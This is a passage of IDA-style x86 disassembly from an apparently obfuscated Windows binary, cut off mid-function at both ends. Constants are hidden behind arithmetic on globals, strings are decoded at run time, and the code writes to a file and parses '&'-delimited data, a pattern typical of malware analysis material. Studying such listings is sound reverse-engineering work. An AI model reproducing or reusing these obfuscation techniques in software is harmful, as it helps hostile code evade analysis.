		mov	edi, [edi]
		call	dword ptr [edi+74h]
		mov	ebx, eax
		movsx	eax, word_551214
		add	eax, dword_551230
		sub	eax, 8
		cmp	ebx, eax
		jnz	loc_443D5A
		movsx	eax, word_5510EC
		mov	[ebp+var_70EF4], eax
		lea	eax, [ebp+var_70EF4]
		push	eax
		push	offset dword_552A54
		mov	eax, [ebp+var_70F0C]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_551118
		sub	eax, 9
		cmp	eax, ebx
		jnz	loc_443D4E
		lea	eax, [ebp+var_60EF0]
		push	eax
		movsx	eax, word_5510D8
		sub	eax, 9
		push	eax
		push	[ebp+var_30E48]
		mov	eax, [ebp+var_70EF4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		cmp	[ebp+var_60EF0], 8
		jnz	short loc_443BE7
		movsx	eax, word_551214
		movsx	edx, word_55111C
		add	eax, edx
		sub	eax, 3
		cmp	ebx, eax
		jz	short loc_443BEC


loc_443BE7:				; CODE XREF: sub_44300F+BBFj
		jmp	loc_443D42
; ---------------------------------------------------------------------------


loc_443BEC:				; CODE XREF: sub_44300F+BD6j
		mov	eax, dword_5510F8
		add	eax, dword_551134
		mov	edx, dword_551090
		add	edx, dword_55118C
		dec	edx
		mov	[ebp+eax+var_70EFB], dl
		lea	eax, [ebp+var_70EEF]
		push	eax
		push	[ebp+var_60EE8]
		call	sub_44582B
		add	esp, 8
		push	[ebp+var_60EE8]
		call	ds:dword_550034
		mov	eax, dword_551138
		sub	eax, 3
		movsx	edx, [ebp+var_70EEF]
		cmp	eax, edx
		jz	loc_443D42
		push	[ebp+var_30E4C]
		lea	eax, [ebp+var_70EEF]
		push	eax
		call	sub_43CD37
		add	esp, 8
		lea	eax, [ebp+var_60EF0]
		push	eax
		mov	eax, dword_55109C
		add	eax, dword_5511D4
		sub	eax, 10h
		push	eax
		push	[ebp+var_30E44]
		mov	eax, [ebp+var_70EF4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		movsx	eax, word_551188
		mov	edx, eax
		add	edx, eax
		mov	eax, dword_551158
		dec	eax
		mov	[ebp+edx+var_71F15], al
		cmp	ebx, dword_551100
		jnz	short loc_443CCD
		cmp	[ebp+var_60EF0], 8
		jnz	short loc_443CCD
		lea	eax, [ebp+var_71F0B]
		push	eax
		push	[ebp+var_60EE8]
		call	sub_44582B
		add	esp, 8
		push	[ebp+var_60EE8]
		call	ds:dword_550034


loc_443CCD:				; CODE XREF: sub_44300F+C91j
					; sub_44300F+C9Bj
		push	offset byte_551C0D
		call	sub_43AC94
		push	[ebp+var_50E9C]
		push	eax
		lea	edi, [ebp+var_30E3F]
		push	edi
		call	ds:dword_50EA28
		lea	eax, [ebp+var_30E3F]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_44802C
		lea	eax, [ebp+var_71F0B]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_44802C
		push	offset dword_551C08
		call	sub_43AC94
		push	eax
		lea	edi, [ebp+var_30D40]
		push	edi
		call	ds:dword_44802C
		lea	eax, [ebp+var_70EEF]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_44802C
		add	esp, 34h


loc_443D42:				; CODE XREF: sub_44300F:loc_443BE7j
					; sub_44300F+C2Ej
		mov	eax, [ebp+var_70EF4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_443D4E:				; CODE XREF: sub_44300F+B8Bj
		mov	eax, [ebp+var_70F0C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_443D5A:				; CODE XREF: sub_44300F+B50j
		inc	[ebp+var_50E9C]


loc_443D60:				; CODE XREF: sub_44300F+AD5j
		mov	eax, [ebp+var_60EB8]
		cmp	[ebp+var_50E9C], eax
		jb	loc_443AE9


loc_443D72:				; CODE XREF: sub_44300F+AC1j
		mov	eax, [ebp+var_60EAC]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_443D7E:				; CODE XREF: sub_44300F+A9Aj
		mov	eax, [ebp+var_60EBC]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	eax, dword_55110C
		movsx	edx, word_5510AC
		add	eax, edx
		movzx	eax, [ebp+eax+var_50EA7]
		movsx	edx, word_551120
		sub	edx, 3
		cmp	eax, edx
		jz	short loc_443DF5
		push	offset word_551C02
		call	sub_43AC94
		push	eax
		lea	edi, [ebp+var_30D40]
		push	edi
		call	ds:dword_44802C
		lea	eax, [ebp+var_50E97]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_44802C
		push	offset byte_551BFD
		call	sub_43AC94
		push	eax
		lea	edi, [ebp+var_30D40]
		push	edi
		call	ds:dword_44802C
		add	esp, 20h


loc_443DF5:				; CODE XREF: sub_44300F+533j
					; sub_44300F+D9Dj
		inc	[ebp+var_30E50]


loc_443DFB:				; CODE XREF: sub_44300F+4B8j
		mov	eax, [ebp+var_30E58]
		cmp	[ebp+var_30E50], eax
		jb	loc_4434CC


loc_443E0D:				; CODE XREF: sub_44300F+338j
					; sub_44300F+3C0j ...
		inc	dword ptr [ebp-40E5Ch]
		mov	eax, [ebp+var_40E90]
		cmp	[ebp-40E5Ch], eax
		jl	loc_4432DF
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_50EA1C
		pop	ecx
		push	[ebp+var_30E48]
		call	ds:dword_550034
		push	[ebp+var_30E44]
		call	ds:dword_550034


loc_443E4B:				; CODE XREF: sub_44300F+22Fj
		mov	eax, [ebp+var_40E70]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_443E57:				; CODE XREF: sub_44300F+20Aj
		mov	eax, [ebp+var_40E6C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_443E63:				; CODE XREF: sub_44300F+1E5j
		mov	eax, [ebp+var_40E68]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_443E6F:				; CODE XREF: sub_44300F+CFj
					; sub_44300F:loc_443156j ...
		mov	eax, [ebp+var_40E64]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_443E7B:				; CODE XREF: sub_44300F+51j
					; sub_44300F+A4j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_44300F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443E80	proc near		; CODE XREF: sub_4467C4+44Cp
					; sub_4467C4+4E6p

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_551150
		sub	eax, 4
		push	eax
		push	80h
		push	4
		mov	eax, dword_5510B8
		sub	eax, 8
		push	eax
		push	dword_551164
		push	40000000h
		push	offset dword_4CC330
		call	ds:dword_54FC18
		mov	edi, eax
		push	0
		mov	eax, dword_551098
		sub	eax, 2
		push	eax
		push	[ebp+arg_4]
		push	edi
		call	ds:dword_550030
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_443ED5:				; CODE XREF: sub_443E80+5Aj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_443ED5
		mov	esi, eax
		mov	ebx, dword_551208
		sub	ebx, 2
		push	ebx
		lea	ebx, [ebp+var_4]
		push	ebx
		push	esi
		push	[ebp+arg_0]
		push	edi
		call	ds:dword_55001C
		push	edi
		call	ds:dword_4CDA48
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_443E80	endp


; =============== S U B	R O U T	I N E =======================================



sub_443F03	proc near		; CODE XREF: sub_43E491+372p
		push	0
		call	sub_43FC04
		push	2
		call	sub_43FC04
		add	esp, 8
		retn
sub_443F03	endp


; =============== S U B	R O U T	I N E =======================================



sub_443F15	proc near		; CODE XREF: sub_43E491+25p
		push	edi
		push	offset word_551BEE
		call	sub_43AC94
		pop	ecx
		push	eax
		call	ds:dword_44B598
		mov	dword_55129C, eax
		mov	eax, dword_551108
		movsx	edx, word_551188
		add	eax, edx
		sub	eax, 7
		cmp	eax, dword_55129C
		jnz	short loc_443F5D
		push	offset byte_551BDF
		call	sub_43AC94
		pop	ecx
		push	eax
		call	ds:dword_48C318
		mov	dword_55129C, eax


loc_443F5D:				; CODE XREF: sub_443F15+2Fj
		push	offset byte_551BCB
		call	sub_43AC94
		pop	ecx
		push	eax
		push	dword_55129C
		call	ds:dword_44B1AC
		mov	ds:dword_48BA00, eax
		pop	edi
		retn
sub_443F15	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443F7C	proc near		; CODE XREF: sub_43C10A+1A5p
					; sub_441AE5+281p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		inc	esi
		mov	edi, dword_551124
		add	edi, 12h
		add	edi, dword_5510D0
		mov	eax, esi
		test	eax, eax
		jge	short loc_443FA3
		add	eax, 0FFh


loc_443FA3:				; CODE XREF: sub_443F7C+20j
		sar	eax, 8
		mov	ebx, dword_5510E8
		inc	ebx
		add	ebx, dword_551218
		mov	edx, eax
		imul	edx, ebx
		add	edi, edx
		mov	[ebp+var_8], edi
		mov	eax, esi
		test	eax, eax
		jge	short loc_443FC8
		add	eax, 0FFFFh


loc_443FC8:				; CODE XREF: sub_443F7C+45j
		sar	eax, 10h
		movsx	edi, word_5511AC
		movsx	ebx, word_5511C4
		lea	edi, [edi+ebx+0Ah]
		mov	ebx, eax
		imul	ebx, edi
		mov	edi, dword_551128
		add	edi, 19h
		add	edi, dword_55122C
		add	ebx, edi
		mov	[ebp+var_C], ebx
		movsx	edi, word_5511EC
		mov	eax, esi
		test	eax, eax
		jge	short loc_444008
		add	eax, 0FFh


loc_444008:				; CODE XREF: sub_443F7C+85j
		sar	eax, 8
		movsx	ebx, word_551240
		add	ebx, 10h
		mov	edx, eax
		imul	edx, ebx
		lea	edi, [edi+edx+12h]
		mov	[ebp+var_10], edi
		mov	eax, esi
		mul	[ebp+var_C]
		mov	[ebp+var_1C], eax
		and	eax, 0FFh
		push	eax
		call	sub_43F45E
		mov	ebx, eax
		mov	[ebp+var_11], bl
		mov	eax, dword_551164
		add	eax, 45h
		movsx	edx, word_551168
		add	eax, edx
		imul	eax, esi
		and	eax, 0FFh
		push	eax
		call	sub_445D55
		mov	ebx, eax
		mov	[ebp+var_12], bl
		mov	eax, esi
		mul	[ebp+var_10]
		mov	[ebp+var_20], eax
		and	eax, 0FFh
		push	eax
		call	sub_43F45E
		mov	ebx, eax
		mov	[ebp+var_13], bl
		mov	eax, dword_55126C
		add	eax, 26h
		add	eax, dword_5510C0
		imul	eax, esi
		and	eax, 0FFh
		push	eax
		call	sub_445D55
		mov	ebx, eax
		mov	[ebp+var_14], bl
		mov	eax, dword_551148
		add	eax, 65h
		add	eax, dword_5511F4
		imul	eax, esi
		and	eax, 0FFh
		push	eax
		call	sub_445D55
		mov	ebx, eax
		mov	[ebp+var_15], bl
		mov	eax, esi
		and	eax, 0FFh
		push	eax
		call	sub_43F45E
		mov	ebx, eax
		mov	[ebp+var_16], bl
		mov	eax, esi
		mul	[ebp+var_8]
		mov	[ebp+var_24], eax
		and	eax, 0FFh
		push	eax
		call	sub_43F45E
		mov	ebx, eax
		mov	[ebp+var_1], bl
		mov	eax, dword_551258
		add	eax, 0Ah
		add	eax, dword_5510C0
		mov	edx, esi
		imul	edx, eax
		mov	eax, edx
		and	eax, 0FFh
		push	eax
		call	sub_445D55
		mov	ebx, eax
		mov	[ebp+var_17], bl
		movsx	eax, word_551194
		add	eax, 3Ch
		imul	eax, esi
		and	eax, 0FFh
		push	eax
		call	sub_43F45E
		add	esp, 24h
		mov	ebx, eax
		mov	[ebp+var_18], bl
		movzx	edi, [ebp+var_1]
		mov	eax, edi
		shr	eax, 1
		mov	esi, dword_551114
		movsx	ebx, word_551220
		add	esi, ebx
		dec	esi
		mul	esi
		mov	[ebp+var_28], eax
		mov	esi, eax
		cmp	edi, eax
		jnz	short loc_44418F
		push	offset byte_551BB1
		call	sub_43AC94
		movzx	edi, [ebp+var_18]
		push	edi
		movzx	edi, [ebp+var_12]
		push	edi
		movzx	edi, [ebp+var_11]
		push	edi
		movzx	edi, [ebp+var_14]
		push	edi
		movzx	edi, [ebp+var_16]
		push	edi
		movzx	edi, [ebp+var_15]
		push	edi
		movzx	edi, [ebp+var_13]
		push	edi
		movzx	edi, [ebp+var_17]
		push	edi
		movzx	edi, [ebp+var_1]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_50EA28
		add	esp, 30h
		jmp	short loc_4441D3
; ---------------------------------------------------------------------------


loc_44418F:				; CODE XREF: sub_443F7C+1CBj
		push	offset word_551B96
		call	sub_43AC94
		movzx	edi, [ebp+var_18]
		push	edi
		movzx	edi, [ebp+var_12]
		push	edi
		movzx	edi, [ebp+var_11]
		push	edi
		movzx	edi, [ebp+var_14]
		push	edi
		movzx	edi, [ebp+var_16]
		push	edi
		movzx	edi, [ebp+var_15]
		push	edi
		movzx	edi, [ebp+var_13]
		push	edi
		movzx	edi, [ebp+var_17]
		push	edi
		movzx	edi, [ebp+var_1]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_50EA28
		add	esp, 30h


loc_4441D3:				; CODE XREF: sub_443F7C+211j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_443F7C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4441D8	proc near		; CODE XREF: sub_43E04C+20p
					; sub_43E04C+25Cp

var_10088	= dword	ptr -10088h
var_10084	= dword	ptr -10084h
var_10080	= dword	ptr -10080h
var_1007C	= dword	ptr -1007Ch
var_10078	= word ptr -10078h
var_10070	= dword	ptr -10070h
var_10064	= dword	ptr -10064h
var_10060	= dword	ptr -10060h
var_1005C	= dword	ptr -1005Ch
var_10055	= byte ptr -10055h
var_10054	= dword	ptr -10054h
var_10050	= dword	ptr -10050h
var_1004C	= dword	ptr -1004Ch
var_10048	= dword	ptr -10048h
var_10044	= dword	ptr -10044h
var_1003F	= byte ptr -1003Fh
var_40		= word ptr -40h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 10088h
		call	sub_44797C
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_40], 8
		push	offset dword_551B88
		call	sub_43AEDD
		pop	ecx
		push	eax
		call	ds:dword_44900C
		mov	[ebp+var_38], eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	esi, [ebp+var_40]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+arg_4]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+30h]
		mov	ebx, eax
		mov	eax, dword_551108
		sub	eax, 2
		cmp	ebx, eax
		jz	short loc_444234
		xor	eax, eax
		jmp	loc_44496B
; ---------------------------------------------------------------------------


loc_444234:				; CODE XREF: sub_4441D8+53j
		lea	eax, [ebp+var_24]
		push	eax
		push	offset dword_552A44
		mov	eax, [ebp+var_2C]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		movsx	eax, word_5510D8
		sub	eax, 9
		cmp	eax, ebx
		jnz	loc_444960
		lea	eax, [ebp+var_28]
		push	eax
		mov	eax, [ebp+var_24]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+24h]
		mov	ebx, eax
		mov	eax, dword_5511B8
		sub	eax, 7
		cmp	ebx, eax
		jnz	loc_444957
		mov	eax, dword_5510F4
		add	eax, dword_55114C
		sub	eax, 8
		mov	[ebp+var_1C], eax
		jmp	loc_44494B
; ---------------------------------------------------------------------------


loc_444293:				; CODE XREF: sub_4441D8+779j
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_10], eax
		mov	[ebp+var_18], 2
		lea	eax, [ebp+var_4]
		push	eax
		lea	esi, [ebp+var_18]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_18]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_24]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+2Ch]
		mov	ebx, eax
		mov	eax, dword_5511E4
		movsx	edx, word_5511CC
		add	eax, edx
		sub	eax, 0Bh
		cmp	ebx, eax
		jnz	loc_444948
		mov	eax, dword_551148
		add	eax, dword_5510F8
		sub	eax, 0Bh
		mov	[ebp+var_10044], eax
		lea	eax, [ebp+var_10044]
		push	eax
		push	offset dword_552A54
		mov	eax, [ebp+var_4]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		movsx	eax, word_5511CC
		sub	eax, 6
		cmp	ebx, eax
		jnz	loc_444914
		mov	eax, dword_5511E0
		add	eax, dword_551184
		sub	eax, 11h
		cmp	[ebp+var_10044], eax
		jz	loc_444914
		lea	eax, [ebp+var_20]
		push	eax
		mov	eax, [ebp+var_10044]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0F8h]
		mov	ebx, eax
		movsx	eax, word_551268
		sub	eax, 3
		cmp	eax, ebx
		jnz	loc_444914
		lea	eax, [ebp+var_1003F]
		push	eax
		push	[ebp+var_20]
		call	sub_44582B
		mov	eax, dword_5510A4
		movsx	edx, word_5510AC
		add	eax, edx
		sub	eax, 0Fh
		push	eax
		push	offset dword_48C300
		lea	eax, [ebp+var_1003F]
		push	eax
		call	sub_442127
		add	esp, 14h
		mov	edi, dword_551154
		add	edi, 0FFF4h
		add	edi, dword_5510D0
		cmp	edi, eax
		jz	loc_444914
		mov	eax, dword_5511F4
		sub	eax, 4
		cmp	[ebp+arg_8], eax
		jnz	short loc_4443E0
		mov	eax, [ebp+var_10044]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	eax, [ebp+var_4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		xor	eax, eax
		inc	eax
		jmp	loc_44496B
; ---------------------------------------------------------------------------


loc_4443E0:				; CODE XREF: sub_4441D8+1E9j
		mov	eax, dword_55109C
		sub	eax, 7
		mov	[ebp+var_1007C], eax
		lea	eax, [ebp+var_1007C]
		push	eax
		push	offset dword_552A74
		mov	eax, [ebp+var_4]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		movsx	eax, word_551240
		dec	eax
		cmp	ebx, eax
		jnz	loc_444914
		mov	[ebp+var_10055], 44h
		push	offset byte_551B7F
		call	sub_43AC94
		mov	edi, dword_5510D0
		add	edi, dword_551250
		sub	edi, 5
		push	edi
		push	eax
		lea	edi, [ebp+var_1003F]
		push	edi
		call	sub_442127
		add	esp, 10h
		mov	esi, dword_5510D4
		add	esi, 0FFF8h
		cmp	eax, esi
		jz	short loc_444461
		mov	[ebp+var_10055], 43h


loc_444461:				; CODE XREF: sub_4441D8+280j
		push	offset byte_551B77
		call	sub_43AC94
		mov	edi, dword_551264
		add	edi, dword_5510A4
		sub	edi, 0Bh
		push	edi
		push	eax
		lea	edi, [ebp+var_1003F]
		push	edi
		call	sub_442127
		add	esp, 10h
		mov	esi, dword_551138
		add	esi, 0FFF5h
		movsx	edx, word_5510A0
		add	esi, edx
		cmp	eax, esi
		jz	short loc_4444AB
		mov	[ebp+var_10055], 50h


loc_4444AB:				; CODE XREF: sub_4441D8+2CAj
		push	offset byte_551B6F
		call	sub_43AC94
		movsx	edi, word_5510B0
		push	edi
		push	eax
		lea	edi, [ebp+var_1003F]
		push	edi
		call	sub_442127
		add	esp, 10h
		movsx	esi, word_5511C4
		sub	esi, 3
		mov	edi, eax
		add	edi, esi
		mov	[ebp+var_10064], edi
		mov	[ebp+var_10050], edi


loc_4444E7:				; CODE XREF: sub_4441D8+325j
		mov	eax, [ebp+var_10050]
		cmp	[ebp+eax+var_1003F], 26h
		jz	short loc_4444FF
		inc	[ebp+var_10050]
		jmp	short loc_4444E7
; ---------------------------------------------------------------------------


loc_4444FF:				; CODE XREF: sub_4441D8+31Dj
		mov	eax, [ebp+var_10050]
		movsx	edx, word_551254
		add	edx, dword_5510BC
		sub	edx, 8
		mov	[ebp+eax+var_1003F], dl
		mov	eax, [ebp+var_10064]
		lea	eax, [ebp+eax+var_1003F]
		push	eax
		call	ds:dword_44901C
		mov	[ebp+var_10080], eax
		push	offset dword_551B68
		call	sub_43AC94
		mov	edi, dword_5511F0
		movsx	esi, word_551228
		add	edi, esi
		sub	edi, 0Eh
		push	edi
		push	eax
		lea	edi, [ebp+var_1003F]
		push	edi
		call	sub_442127
		add	esp, 14h
		movsx	esi, word_551104
		add	esi, dword_5510F8
		sub	esi, 6
		mov	edi, eax
		add	edi, esi
		mov	[ebp+var_10064], edi
		mov	[ebp+var_10050], edi


loc_444583:				; CODE XREF: sub_4441D8+3C1j
		mov	eax, [ebp+var_10050]
		cmp	[ebp+eax+var_1003F], 26h
		jz	short loc_44459B
		inc	[ebp+var_10050]
		jmp	short loc_444583
; ---------------------------------------------------------------------------


loc_44459B:				; CODE XREF: sub_4441D8+3B9j
		mov	eax, [ebp+var_10050]
		movsx	edx, word_5510D8
		sub	edx, 9
		mov	[ebp+eax+var_1003F], dl
		mov	eax, [ebp+var_10064]
		lea	eax, [ebp+eax+var_1003F]
		push	eax
		call	ds:dword_44901C
		pop	ecx
		mov	[ebp+var_1005C], eax
		mov	eax, dword_55121C
		cmp	[ebp+var_10080], eax
		ja	loc_44466E
		mov	eax, dword_551204
		movsx	edx, word_5511C4
		add	eax, edx
		sub	eax, 0Ah
		mov	[ebp+var_10048], eax
		jmp	short loc_44465C
; ---------------------------------------------------------------------------


loc_4445F7:				; CODE XREF: sub_4441D8+494j
		mov	edi, [ebp+var_10048]
		mov	dl, ds:byte_44B1B0[edi]
		cmp	dl, [ebp+var_10055]
		jnz	short loc_444656
		shl	edi, 2
		movsx	esi, word_55123C
		add	esi, dword_5510DC
		sub	esi, 0Ah
		cmp	ds:dword_44A0E0[edi], esi
		jz	short loc_444656
		mov	esi, [ebp+var_1005C]
		cmp	ds:dword_449020[edi], esi
		jnz	short loc_444656
		mov	edi, [ebp+var_10048]
		mov	esi, dword_5510C4
		movsx	edx, word_5511EC
		add	esi, edx
		sub	esi, 0Ch
		mov	ds:dword_44A0E0[edi*4],	esi


loc_444656:				; CODE XREF: sub_4441D8+432j
					; sub_4441D8+44Ej ...
		inc	[ebp+var_10048]


loc_44465C:				; CODE XREF: sub_4441D8+41Dj
		mov	eax, dword_551208
		add	eax, 3E6h
		cmp	[ebp+var_10048], eax
		jb	short loc_4445F7


loc_44466E:				; CODE XREF: sub_4441D8+400j
		call	ds:dword_54EB70
		mov	[ebp+var_10060], eax
		mov	eax, dword_551128
		sub	eax, 7
		mov	[ebp+var_1004C], eax
		jmp	short loc_4446EF
; ---------------------------------------------------------------------------


loc_44468A:				; CODE XREF: sub_4441D8+52Dj
		mov	edi, [ebp+var_1004C]
		shl	edi, 2
		mov	esi, ds:dword_4CDA50[edi]
		mov	edx, dword_55109C
		add	edx, 0EA59h
		movsx	ecx, word_55112C
		imul	edx, ecx
		add	esi, edx
		cmp	esi, [ebp+var_10060]
		jnb	short loc_4446E9
		mov	esi, dword_5511E0
		sub	esi, 9
		cmp	ds:dword_44A0E0[edi], esi
		jz	short loc_4446E9
		mov	edi, [ebp+var_1004C]
		movsx	esi, word_55123C
		add	esi, dword_551204
		sub	esi, 6
		mov	ds:dword_44A0E0[edi*4],	esi


loc_4446E9:				; CODE XREF: sub_4441D8+4E0j
					; sub_4441D8+4F2j
		inc	[ebp+var_1004C]


loc_4446EF:				; CODE XREF: sub_4441D8+4B0j
		mov	eax, dword_5511FC
		add	eax, 3E7h
		add	eax, dword_5511B4
		cmp	[ebp+var_1004C], eax
		jb	short loc_44468A
		mov	eax, dword_55124C
		add	eax, dword_5510A8
		sub	eax, 0Dh
		mov	[ebp+var_10054], eax
		jmp	short loc_444745
; ---------------------------------------------------------------------------


loc_44471D:				; CODE XREF: sub_4441D8+57Dj
		mov	edi, [ebp+var_10054]
		movsx	esi, word_551188
		movsx	edx, word_5511C8
		add	esi, edx
		sub	esi, 0Ch
		cmp	ds:dword_44A0E0[edi*4],	esi
		jz	short loc_444757
		inc	[ebp+var_10054]


loc_444745:				; CODE XREF: sub_4441D8+543j
		mov	eax, dword_55121C
		add	eax, 3E8h
		cmp	[ebp+var_10054], eax
		jb	short loc_44471D


loc_444757:				; CODE XREF: sub_4441D8+565j
		mov	edi, [ebp+var_10054]
		mov	esi, [ebp+arg_0]
		mov	ds:dword_448060[edi*4],	esi
		mov	eax, edi
		mov	dl, [ebp+var_10055]
		mov	ds:byte_44B1B0[eax], dl
		mov	esi, [ebp+var_1005C]
		mov	ds:dword_449020[edi*4],	esi
		movsx	eax, word_5510A0
		add	eax, dword_5510C4
		sub	eax, 10h
		cmp	[ebp+var_10080], eax
		jbe	loc_44485E
		mov	esi, dword_551114
		add	esi, 0FFF9h
		add	esi, dword_5510B4
		mov	ds:word_48BA10[edi*2], si
		mov	eax, dword_5510A8
		add	eax, dword_551128
		sub	eax, 0Fh
		mov	[ebp+var_10088], eax
		jmp	short loc_444840
; ---------------------------------------------------------------------------


loc_4447CF:				; CODE XREF: sub_4441D8+67Ej
		mov	edi, [ebp+var_10088]
		mov	dl, ds:byte_44B1B0[edi]
		cmp	dl, [ebp+var_10055]
		jnz	short loc_44483A
		mov	esi, edi
		shl	esi, 2
		mov	edx, [ebp+var_1005C]
		cmp	ds:dword_449020[esi], edx
		jnz	short loc_44483A
		mov	edx, dword_5511A0
		cmp	ds:dword_44A0E0[esi], edx
		jz	short loc_44483A
		movzx	edi, ds:word_48BA10[edi*2]
		mov	esi, dword_5510D0
		add	esi, 0FFF8h
		movsx	edx, word_551268
		add	esi, edx
		cmp	edi, esi
		jz	short loc_44483A
		mov	edi, [ebp+var_10088]
		lea	edi, ds:48BA10h[edi*2]
		inc	word ptr [edi]
		jmp	short loc_44487B
; ---------------------------------------------------------------------------


loc_44483A:				; CODE XREF: sub_4441D8+60Aj
					; sub_4441D8+61Ej ...
		inc	[ebp+var_10088]


loc_444840:				; CODE XREF: sub_4441D8+5F5j
		mov	eax, dword_55124C
		add	eax, 3DCh
		add	eax, dword_5510E8
		cmp	[ebp+var_10088], eax
		jb	loc_4447CF
		jmp	short loc_44487B
; ---------------------------------------------------------------------------


loc_44485E:				; CODE XREF: sub_4441D8+5C1j
		mov	edi, [ebp+var_10054]
		mov	esi, dword_55117C
		add	esi, dword_551230
		sub	esi, 9
		mov	ds:word_48BA10[edi*2], si


loc_44487B:				; CODE XREF: sub_4441D8+660j
					; sub_4441D8+684j
		call	ds:dword_54EB70
		mov	edi, [ebp+var_10054]
		mov	ds:dword_4CDA50[edi*4],	eax
		lea	esi, off_5512C0
		mov	ds:dword_44A0E0[edi*4],	esi
		mov	edi, [ebp+var_10054]
		lea	edi, ds:44A0E0h[edi*4]
		mov	[ebp+var_10084], edi
		mov	eax, edi
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+4]
		mov	edi, [ebp+var_10054]
		lea	edi, ds:44A0E0h[edi*4]
		mov	[ebp+var_10070], edi
		mov	[ebp+var_10078], 9
		lea	esi, [ebp+var_10078]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_1007C]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+0A4h]
		mov	ebx, eax
		inc	[ebp+var_10054]
		lea	eax, [ebp+var_10078]
		push	eax
		call	ds:dword_550154
		mov	eax, [ebp+var_1007C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_444914:				; CODE XREF: sub_4441D8+148j
					; sub_4441D8+162j ...
		cmp	[ebp+var_10044], 0
		jz	short loc_444929
		mov	eax, [ebp+var_10044]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_444929:				; CODE XREF: sub_4441D8+743j
		mov	eax, dword_55109C
		movsx	edx, word_551220
		add	eax, edx
		sub	eax, 8
		cmp	[ebp+var_4], eax
		jz	short loc_444948
		mov	eax, [ebp+var_4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_444948:				; CODE XREF: sub_4441D8+107j
					; sub_4441D8+765j
		inc	[ebp+var_1C]


loc_44494B:				; CODE XREF: sub_4441D8+B6j
		mov	eax, [ebp+var_28]
		cmp	[ebp+var_1C], eax
		jb	loc_444293


loc_444957:				; CODE XREF: sub_4441D8+9Fj
		mov	eax, [ebp+var_24]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_444960:				; CODE XREF: sub_4441D8+80j
